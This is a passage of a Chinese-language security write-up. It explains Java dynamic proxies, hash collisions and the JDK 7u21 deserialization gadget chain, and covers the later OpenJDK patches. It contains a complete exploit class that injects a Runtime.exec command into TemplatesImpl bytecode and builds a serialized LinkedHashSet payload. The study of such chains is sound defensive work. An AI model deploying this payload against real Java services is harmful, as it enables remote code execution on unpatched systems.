哪个用于动态加载？】：https://stackoverflow.com/questions/8100376/class-forname-vs-classloader-loadclass-which-to-use-for-dynamic-loading/8100407#8100407很有趣的一个讨论4、Java 动态代理代理是 Java中的一种设计模式，主要用于提供对目标对象另外的访问方式。即是通过代理对象访问目标对象。这样一来，就可以在目标对象实现的基础上，加强额外的功能操作，起到扩展目标对象的功能。举个例子来说，我们想买一款国外的产品，但是我们自己不想出国，那么就可以通过代购的方式来获取该产品。代理模式的关键点在于代理对象和目标对象，代理对象是对目标对象的扩展，并且代理对象会调用目标对象。来谈动态代理前可以理解以下静态代理。所谓静态代理，就像其名字一样，当确定了代理对象和被代理对象后，无法再去代理另一个对象，比如在生活中，我们找一个专门负责代购口红的代购人员让其代购口红，但是如果想要让其代购笔记本电脑，那么其就无法实现这一要求，因此我们就需要寻找另外一个专门负责代购笔记本电脑的人员，同理，在 Java 静态代理中，如果我们想要实现另一个代理，就需要重新写一个代理对象，如下图所示的就是这个原理：总的来说，在静态代理中，代理类和被代理的类实现了同样的接口，代理类同时持有被代理类的引用，这样，当我们需要调用被代理类的方法时，可以通过调用代理类的方法来实现，下图所示，就是静态代理实现的示意图。​ 静态代理的优势很明显，可以让开发人员在不修改已有代码的前提下，去完成一些增强功能的需求，但是静态代理的缺点也很明显，静态代理的使用会由于代理对象要实现与目标对象一致的接口，会产生过多的代理类，造成冗余；其次，大量使用静态代理会使项目不易维护，一旦接口增加方法，目标对象与代理对象都要进行修改。基于这两点，有了动态代理，动态代理的优势在于可以很方便的对代理类的函数进行统一的处理，而不用修改每个代理类中的方法。那对于我们信息安全人员来说，动态代理意味着什么呢？实际上，Java 中的“动态”也就意味着使用了反射，因此动态代理其实是基于反射机制的一种代理模式。如上图，动态代理和静态代理不同的点在于，动态代理可能有不同的需求（用户），通过动态代理，可以实现多个需求。动态代理其实就是通过实现接口的方式来实现代理，具体来说，动态代理是通过 Proxy 类创建代理对象，然后将接口方法“代理”给 InvocationHandler 接口完成的。动态代理的关键有两个，即上文中提到的 Proxy 类以及 InvocationHandler 接口，这是我们实现动态代理的核心。Proxy 类在JDK中，Java提供了java.lang.reflect.InvocationHandler接口和 java.lang.reflect.Proxy类，这两个类相互配合，其中Proxy类是入口。Proxy类是用来创建一个代理对象的类，它提供了很多方法，如：static InvocationHandler getInvocationHandler(Object proxy) 这个方法主要用于获取指定代理对象所关联的调用程序static Class<?> getProxyClass(ClassLoader loader, Class<?>... interfaces) 该方法主要用于返回指定接口的代理类static Object newProxyInstance(ClassLoader loader, Class<?>[] interfaces, InvocationHandler h)该方法主要返回一个指定接口的代理类实例，该接口可以将方法调用指派到指定的调用处理程序。static boolean isProxyClass(Class<?> cl)当且仅当指定的类通过 getProxyClass 方法或 newProxyInstance 方法动态生成为代理类时，返回 true。这个方法的可靠性对于使用它做出安全决策而言非常重要，所以此方法的实现不应仅测试相关的类是否可以扩展 Proxy。在上述方法中，我们最常用的是newProxyInstance方法，这个方法的作用是创建一个代理类对象，它接收三个参数，loader、interfaces以及h，各个参数含义如下：loader：这是一个classloader对象，定义了由哪个classloader对象对生成的代理类进行加载。interfaces：代理类要实现的接口列表，表示我们将要给我们的代理对象提供一组什么样的接口，如果我们提供了这样一个接口对象数组，那么也就是声明了代理类实现了这些接口，代理类就可以调用接口中声明的所有方法。h：指派方法调用的调用处理程序，是一个InvocationHandler对象，表示的是当动态代理对象调用方法的时候会关联到哪一个InvocationHandler对象上，并最终由其调用。InvocationHandler 接口java.lang.reflect InvocationHandler，主要方法为Object invoke(Object proxy, Method method, Object[] args) ，这个方法定义了代理对象调用方法时希望执行的动作，用于集中处理在动态代理类对象上的方法调用。Invoke 有三个参数，各个参数含义如下：proxy：在其上调用方法的代理实例method：对应于在代理实例上调用的接口方法的 Method 实例。 Method 对象的声明类将是在其中声明方法的接口，该接口可以是代理类赖以继承方法的代理接口的超接口。args：包含传入代理实例上方法调用的参数值的对象数组，如果接口方法不使用参数，则为 null。基本类型的参数被包装在适当基本包装器类（如 java.lang.Integer 或 java.lang.Boolean）的实例中。以下代码就是一个简单的动态代理的实例：package main.java.com.ms08067.dtProxy; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Method; import java.lang.reflect.Proxy; public class dtProxyDemo { } interface Speaker{ public void speak(); } class xiaoMing implements Speaker { @Override public void speak() { System.out.println("我有纠纷!"); } } class xiaoHua implements Speaker { @Override public void speak() { System.out.println("我有纠纷!"); } } class LawyerProxy implements InvocationHandler { Object obj; public LawyerProxy(Object obj){ this.obj = obj; } @Override public Object invoke(Object proxy, Method method, Object[] args) throws Throwable { if(method.getName().equals("speak")){ System.out.println("有什么可以帮助你的"); method.invoke(obj,args); System.out.println("根据 XXXX 法律，应该 XXXX"); } return null; } } class gov{ public static void main(String[] args) { xiaoMing xiaoMing = new xiaoMing(); xiaoHua xiaoHua = new xiaoHua(); LawyerProxy xiaoMing_lawyerProxy = new LawyerProxy(xiaoMing); LawyerProxy xiaoHua_lawyerProxy = new LawyerProxy(xiaoHua); Speaker xiaoMingSpeaker = (Speaker) Proxy.newProxyInstance(gov.class.getClassLoader(),new Class[]{Speaker.class},xiaoMing_lawyerProxy); xiaoMingSpeaker.speak(); System.out.println("*********************"); Speaker xiaoHuaSpeaker = (Speaker) Proxy.newProxyInstance(gov.class.getClassLoader(),new Class[]{Speaker.class},xiaoHua_lawyerProxy); xiaoHuaSpeaker.speak(); } }以上代码就是使用动态代理的方式，当为某个类或接口指定InvocationHandler对象时（如：LawyerProxy），那么在调用该类或接口方法时,就会去调用指定handler的invoke()方法（37行）。运行结果如下图所示：5、hash碰撞所谓的 hash碰撞是指两个不同的字符串计算得到的Hash值相同。如在国外社区上就有人给出了以下计算 hash 值为 0 的代码：public class hashtest { public static void main(String[] args){ long i = 0; loop: while(true){ String s = Long.toHexString(i); if(s.hashCode() == 0){ System.out.println("Found: '"+s+"'"); // break loop; } if(i % 1000000==0){ // System.out.println("checked: "+i); } i++; } } }运行后会得到 hash 值为 0 的字符串，如下图所示:Found: 'f5a5a608' Found: '38aeaf9a6' Found: '4b463c929' Found: '6d49bc466' Found: '771ffcd3a' Found: '792e22588' Found: '84f7f1613' Found: '857ed38ce' Found: '9da576938' Found: 'a84356f1b'0x04 jdk7u21 payload整个gadget链：终点（要达到的目标）：Runtime.exec() || TemplatesImpl.getOutputProperties() TemplatesImpl.newTransformer() TemplatesImpl.getTransletInstance() TemplatesImpl.defineTransletClasses() ClassLoader.defineClass() Class.newInstance() || AnnotationInvocationHandler.invoke() AnnotationInvocationHandler.equalsImpl() Method.invoke() || Proxy(Templates).equals() || Proxy(Templates).hashCode() (X) AnnotationInvocationHandler.invoke() (X) AnnotationInvocationHandler.hashCodeImpl() (X) String.hashCode() (0) AnnotationInvocationHandler.memberValueHashCode() (X) TemplatesImpl.hashCode() (X) || LinkedHashSet.add() || 起点（要读取的内容）： LinkedHashSet.readObject()package src.main.java; import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import javassist.ClassClassPath; import javassist.ClassPool; import javassist.CtClass; import javax.xml.transform.Templates; import java.io.*; import java.lang.reflect.*; import java.util.Arrays; import java.util.HashMap; import java.util.LinkedHashSet; import static com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.DESERIALIZE_TRANSLET; class Reflections { public static Field getField(final Class<?> clazz, final String fieldName) throws Exception { Field field = clazz.getDeclaredField(fieldName); if (field != null) field.setAccessible(true); else if (clazz.getSuperclass() != null) field = getField(clazz.getSuperclass(), fieldName); return field; } public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception { final Field field = getField(obj.getClass(), fieldName); field.set(obj, value); } public static Constructor<?> getFirstCtor(final String name) throws Exception { final Constructor<?> ctor = Class.forName(name).getDeclaredConstructors()[0]; ctor.setAccessible(true); return ctor; } } class ClassFiles { public static String classAsFile(final Class<?> clazz) { return classAsFile(clazz, true); } public static String classAsFile(final Class<?> clazz, boolean suffix) { String str; if (clazz.getEnclosingClass() == null) { str = clazz.getName().replace(".", "/"); } else { str = classAsFile(clazz.getEnclosingClass(), false) + "$" + clazz.getSimpleName(); } if (suffix) { str += ".class"; } return str; } public static byte[] classAsBytes(final Class<?> clazz) { try { final byte[] buffer = new byte[1024]; final String file = classAsFile(clazz); final InputStream in = ClassFiles.class.getClassLoader().getResourceAsStream(file); if (in == null) { throw new IOException("couldn't find '" + file + "'"); } final ByteArrayOutputStream out = new ByteArrayOutputStream(); int len; while ((len = in.read(buffer)) != -1) { out.write(buffer, 0, len); } return out.toByteArray(); } catch (IOException e) { throw new RuntimeException(e); } } } class Gadgets { static { // 启用SecurityManager时使用TemplatesImpl gadget的特殊情况 System.setProperty(DESERIALIZE_TRANSLET, "true"); } public static class StubTransletPayload extends AbstractTranslet implements Serializable { // private static final long serialVersionUID = -5971610431559700674L; public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {} @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {} } // required to make TemplatesImpl happy public static class Foo implements Serializable { // private static final long serialVersionUID = 8207363842866235160L; } public static <T> T createProxy(final InvocationHandler ih, final Class<T> iface, final Class<?> ... ifaces) { final Class<?>[] allIfaces = (Class<?>[]) Array.newInstance(Class.class, ifaces.length + 1); allIfaces[0] = iface; if (ifaces.length > 0) { System.arraycopy(ifaces, 0, allIfaces, 1, ifaces.length); } return iface.cast( Proxy.newProxyInstance(Gadgets.class.getClassLoader(), allIfaces , ih)); } public static TemplatesImpl createTemplatesImpl() throws Exception { final TemplatesImpl templates = new TemplatesImpl(); // use template gadget class // 获取容器ClassPool，注入classpath ClassPool pool = ClassPool.getDefault(); // System.out.println("insertClassPath: " + new ClassClassPath(StubTransletPayload.class)); pool.insertClassPath(new ClassClassPath(StubTransletPayload.class)); // 获取已经编译好的类 // System.out.println("ClassName: " + StubTransletPayload.class.getName()); final CtClass clazz = pool.get(StubTransletPayload.class.getName()); // 在静态的的构造方法中插入payload clazz.makeClassInitializer() .insertAfter("java.lang.Runtime.getRuntime().exec(\"" +"open -a Calculator" + "\");"); // 给payload类设置一个名称 // 允许重复执行的唯一名称（注意 PermGen 耗尽） clazz.setName("ysoserial.Pwner" + System.nanoTime()); // 获取该类的字节码 final byte[] classBytes = clazz.toBytecode(); //System.out.println(Arrays.toString(classBytes)); // 将类字节注入实例 Reflections.setFieldValue( templates, "_bytecodes", new byte[][] { classBytes, ClassFiles.classAsBytes(Foo.class) }); // required to make TemplatesImpl happy Reflections.setFieldValue(templates, "_name", "Pwnr"); Reflections.setFieldValue(templates, "_tfactory", new TransformerFactoryImpl()); // 只要触发这个方法就能执行我们注入的bytecodes // templates.getOutputProperties(); return templates; } } public class exp { public Object buildPayload() throws Exception { // 生成 evil 模板，如果触发 templates.getOutputProperties()，可以执行命令 Object templates = Gadgets.createTemplatesImpl(); // magic string, zeroHashCodeStr.hashCode() == 0 String zeroHashCodeStr = "f5a5a608"; // build a hash map, and put our evil templates in it. HashMap map = new HashMap(); //map.put(zeroHashCodeStr, "foo"); // Not necessary // Generate proxy's handler，use `AnnotationInvocationHandler` as proxy's handler // When proxy is done，all call proxy.anyMethod() will be dispatch to AnnotationInvocationHandler's invoke method. Constructor<?> ctor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0]; ctor.setAccessible(true); InvocationHandler tempHandler = (InvocationHandler) ctor.newInstance(Templates.class, map); // Reflections.setFieldValue(tempHandler, "type", Templates.class); // not necessary, because newInstance() already pass Templates.class to tempHandler Templates proxy = (Templates) Proxy.newProxyInstance(exp.class.getClassLoader(), templates.getClass().getInterfaces(), tempHandler); // Reflections.setFieldValue(templates, "_auxClasses", null); // Reflections.setFieldValue(templates, "_class", null); LinkedHashSet set = new LinkedHashSet(); // maintain order set.add(templates); // save evil templates set.add(proxy); // proxy map.put(zeroHashCodeStr, templates); return set; } public static void main(String[] args) throws Exception { exp exploit = new exp(); Object payload = exploit.buildPayload(); // test payload ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("payload.bin")); oos.writeObject(payload); ObjectInputStream ois = new ObjectInputStream(new FileInputStream("payload.bin")); ois.readObject(); } }结合payload看分析，明白payload为什么这样写，更容易帮助我们理解这个漏洞。0x05 漏洞分析如果分析过 CC 链或者看过 CC 链分析文章的朋友，一定知道在 CC 链中可以当成命令执行的载体有以下两个类：org.apache.commons.collections.functors.ChainedTransformerorg.apache.xalan.xsltc.trax.TemplatesImpl我们知道要想实现 RCE 就必须要调用一个命令执行类，Runtime.getRuntime().exec()，CC 链中的org.apache.commons.collections.functors.ChainedTransformer类就存在可以用于对象之间转换的Transformer接口，它有几个我们用得着的实现类，ConstantTransformer、InvokerTransformer以及ChainedTransformer，利用这几个对象，就可以构造出一个可以执行命令的链，从而达到命令执行的目的。但若是没找到可以用于对象之间转换的接口或者这些接口在黑名单中怎么办呢？当依赖或者源程序中不存在可以执行命令的方法时，可以选择使用TemplatesImpl作为命令执行载体，并想办法去触发它的newTransformer或getOutputProperties方法也就是上面我们所说的第二个类org.apache.xalan.xsltc.trax.TemplatesImpl，这个类是 jdk7u21 原生 gadget 链中我们需要当初命令执行载体的类。那么这个类如果构建 evil 类需要满足哪些条件呢？已经有师傅总结成了以下几个条件：TemplatesImpl类的 _name 变量 != nullTemplatesImpl类的_class变量 == nullTemplatesImpl类的 _bytecodes 变量 != nullTemplatesImpl类的_bytecodes是我们代码执行的类的字节码。执行的恶意代码写在_bytecodes 变量对应的类的静态方法或构造方法中。TemplatesImpl类的_bytecodes是我们代码执行的类的字节码。_bytecodes中的类必须是com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet的子类TemplatesImpl类的_tfactory需要是一个拥有getExternalExtensionsMap()方法的类，通常使用jdk自带的TransformerFactoryImpl()类TemplatesImpl有四个方法：TemplatesImpl.getOutputProperties()TemplatesImpl.newTransformer()TemplatesImpl.getTransletInstance()TemplatesImpl.defineTransletClasses()但是对于后两个来说，是private方法，只能被对象可调用方法间接调用，而前两者是public方法，可以被对象直接调用。那么第一阶段我们便明白了——利用TemplatesImpl注入我们要构造的恶意类，然后想办法触发它的newTransformer或getOutputProperties方法。怎么触发？frohoff给了我们答案——AnnotationInvocationHandler.invoke那么这个方法为何能够触发呢？继续翻源码！ public Object invoke(Object proxy, Method method, Object[] args) { String member = method.getName(); Class<?>[] paramTypes = method.getParameterTypes(); // Handle Object and Annotation methods if (member.equals("equals") && paramTypes.length == 1 && paramTypes[0] == Object.class) return equalsImpl(args[0]); ... }可以看到当调用方法为 equals并满足相关条件时，会继续调用内部方法equalsImpl()，跟进equalsImpl() private Boolean equalsImpl(Object o) { if (o == this) return true; if (!type.isInstance(o)) return false; for (Method memberMethod : getMemberMethods()) { String member = memberMethod.getName(); Object ourValue = memberValues.get(member); Object hisValue = null; AnnotationInvocationHandler hisHandler = asOneOfUs(o); if (hisHandler != null) { hisValue = hisHandler.memberValues.get(member); } else { try { hisValue = memberMethod.invoke(o); } catch (InvocationTargetException e) { return false; } catch (IllegalAccessException e) { throw new AssertionError(e); } } if (!memberValueEquals(ourValue, hisValue)) return false; } return true; } 在equalsImpl()方法里，会首先判断传入的 Object 对象是否为 type 对象的实例，然后调用 type class 的所有方法，再依次调用。这样分析下来就清楚了，只要我们在实例化AnnotationInvocationHandler时传入Templates.class，然后令equals()的参数为 type 的实现类就可以实现getOutputProperties方法的触发。到这里我们的问题又来了。接下来的后续链又如何寻找呢？其实在这个类的开始，有一段话如下：InvocationHandler for dynamic proxy implementation of Annotation.InvocationHandler 用于 Annotation 的动态代理实现。那么根据前面动态代理相关的知识我们知道，当为某个类或接口指定InvocationHandler对象时，在调用该类或接口方法时，就会去调用指定handler的invoke()方法。因此，当我们使用 AnnotationInvocationHandler 创建 proxy object ，那么调用的所有方法都会变成对 invoke 方法的调用。也就是说，我们需要使用 AnnotationInvocationHandler 创建 Proxy Object 并让其代理 Templates 接口，然后再调用 proxy object 的 equals 方法，将 Templates 当成参数传入就完成了前部分链的组装。现在，我们的目标实际上就变成了如何调用Proxy.equals(EvilTemplates.class)。现在让我们总结一下能寻找到满足条件场景的条件：要能够调用 proxy 的 equals 方法（这是我们刚才分析的）要有反序列化接口——要能调用readObject() 方法（这样才可以将我们的序列化数据传进去开始反序列化）不向下说，我们先来看看ysoserial中的反序列化载体有哪些：AnnotationInvocationHandler （CC1、CC3、 Groovy1）PriorityQueue （CC2、CC4）BadAttributeValueExpException （CC5、 MozillaRhino1 ）HashSet （CC6）HashMap （ Hibernate1 、 Hibernate2、 JSON1 、 Myfaces1 、 Myfaces2 、 ROME ）org.jboss.interceptor.proxy.InterceptorMethodHandler （ JBossInterceptors1 、 JavassistWeld1 ）org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider （ Spring1 、 Spring2 ）这些反序列化载体中大多数是通过对元素进行一些操作，然后触发了后续链的调用。实际上我猜测jdk7u21的作者frohoff可能也是通过这样的思考最终找到了LinkedHashSet类。LinkedHashSet 位于 java.util 包内，是 HashSet 的子类，向其添加到 set 的元素会保持有序状态，并且在LinkedHashSet.readObject()的方法中，当各元素被放进HashMap时，第二个元素会调用equals()与第一个元素进行比较——这样一来恰好就满足了我们上面所说的两个条件。所以在这里我们只要反序列化过程中让Pproxy Object 先添加，然后再添加包含恶意代码的实例，就会变成，Proxy.equals(EvilTemplates.class)，它被代理给AnnotationInvocationHandler类，并且进入equalsImpl()方法，在getMemberMethods()遍历TemplatesImpl的方法遇到getOutputProperties进行调用时，导致命令执行，从而完美的实现了整个攻击链。到这里其实整个漏洞就分析完了，但是在LinkedHashSet链中还有一个有意思的地方。LinkedHashSet --> HashSet --> HashSet.readObject() --> HashMap.put() // 将指定值与此映射中的指定键相关联 public V put(K key, V value) { if (key == null) return putForNullKey(value); int hash = hash(key.hashCode()); int i = indexFor(hash, table.length); for (Entry<K,V> e = table[i]; e != null; e = e.next) { Object k; // 关键点 if (e.hash == hash && ((k = e.key) == key || key.equals(k))) { V oldValue = e.value; e.value = value; e.recordAccess(this); return oldValue; } } modCount++; addEntry(hash, key, value, i); return null; }在put方法里，有一个条件： if (e.hash == hash && ((k = e.key) == key || key.equals(k))) 如果想要走到key.equals(k)就必须满足e.hash == hash并且k!=e.key。对于k == e.key很好判断，因为 EvilTemplates newInstance != Proxy Object，那e.hash == hash应该如何判断呢？实际上看源代码就知道，要让127 * ((String)var3.getKey()).hashCode()的结果等于0 ，也就是(String)var3.getKey()).hashCode()的值要为零，这样才可以满足那个if判断。这里利用的其实就是hash碰撞。经过碰撞我们得到了碰撞的第一个结果f5a5a608，也就是 payload 中的map.put('f5a5a608', templates);这样写的原因。整个流程可以总结成如下的思维导图：0x06 漏洞修复互联网上对于jdk7u21原生gadget链修复方式有两种讨论。第一种：第二种：实际上经过我的测试发现，其实这两种说法都没有问题。首先来看存在漏洞的最后一个版本（611bcd930ed1）：http://hg.openjdk.java.net/jdk7u/jdk7u/jdk/file/611bcd930ed1/src/share/classes/sun/reflect/annotation/AnnotationInvocationHandler.java查看其 children 版本（0ca6cbe3f350）：http://hg.openjdk.java.net/jdk7u/jdk7u/jdk/file/0ca6cbe3f350/src/share/classes/sun/reflect/annotation/AnnotationInvocationHandler.javacompare一下：// 改之前 AnnotationType annotationType = null; try { annotationType = AnnotationType.getInstance(type); } catch(IllegalArgumentException e) { // Class is no longer an annotation type; all bets are off return; } // 改之后 AnnotationType annotationType = null; try { annotationType = AnnotationType.getInstance(type); } catch(IllegalArgumentException e) { // Class is no longer an annotation type; time to punch out throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream"); }可以发现，在第一次的修复中，官方采用的方法是网上的第二种讨论，即将以前的 return 改成了抛出异常。继续查看0ca6cbe3f350的children版本（654a386b6c32）：http://hg.openjdk.java.net/jdk7u/jdk7u/jdk/file/654a386b6c32/src/share/classes/sun/reflect/annotation/AnnotationInvocationHandler.java可以发现在 AnnotationInvocationHandler构造方法的一开始的位置，就对于this.type进行了校验。// 改之前： AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) { this.type = type; this.memberValues = memberValues; } // 改之后： AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) { Class<?>[] superInterfaces = type.getInterfaces(); if (!type.isAnnotation() || superInterfaces.length != 1 || superInterfaces[0] != java.lang.annotation.Annotation.class) throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type."); this.type = type; this.memberValues = memberValues; }此外，除了在构造方法处的验证，在其获取成员方法时，也做了验证：验证内容如下：private void validateAnnotationMethods(Method[] memberMethods) { boolean valid = true; for(Method method : memberMethods) { if (method.getModifiers() != (Modifier.PUBLIC | Modifier.ABSTRACT) || method.getParameterTypes().length != 0 || method.getExceptionTypes().length != 0) { valid = false; break; } Class<?> returnType = method.getReturnType(); if (returnType.isArray()) { returnType = returnType.getComponentType(); if (returnType.isArray()) { // Only single dimensional arrays valid = false; break; } } if (!((returnType.isPrimitive() && returnType != void.class) || returnType == java.lang.String.class || returnType == java.lang.Class.class || returnType.isEnum() || returnType.isAnnotation())) { valid = false; break; } String methodName = method.getName(); if ((methodName.equals("toString") && returnType == java.lang.String.class) || (methodName.equals("hashCode") && returnType == int.class) || (methodName.equals("annotationType") && returnType == java.lang.Class.class)) { valid = false; break; } } if (valid) return; else throw new AnnotationFormatError("Malformed method on an annotation type"); }validateAnnotationMethods验证方法对注解类型中声明的方法进行了限制，禁止了包含静态方法和声明的方法，要求注释类型必须采用零个参数并且对返回类型也做了限制。所以，个人总结，网上讨论的两种修复方式其实都没有问题，只是因为不同的jdk版本导致了修复方式不完全一样，也导致payload会在不同的地方被拦截，从而出现不一样的错误。如下图时在jdk1.8.151中出现的错误。下图时在jdk7u25中出现的错误。0x07 总结整个jdk7u21反序列化gadget链的构建非常经典，链中融合了大量的基础知识以及小技巧，个人认为是对于理解并学习反序列化漏洞的必学知识点，此文是本人学习记录，如存在问题欢迎各位师傅斧正。0x08 参考https://lalajun.github.io/2019/11/30/JDK%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96Gadgets%207u21/https://p0rz9.github.io/2019/06/08/Ysoserial%E4%B9%8BJDK7u21%E5%88%86%E6%9E%90/https://gist.github.com/frohoff/24af7913611f8406eaf3#deserialization-call-tree-approximatehttps://b1ngz.github.io/java-deserialization-jdk7u21-gadget-note/https://mp.weixin.qq.com/s/Ekjbxv5glIXvpsw2Gh98vQhttps://xz.aliyun.com/t/6884#toc-12https://paper.seebug.org/792/本文首发在先知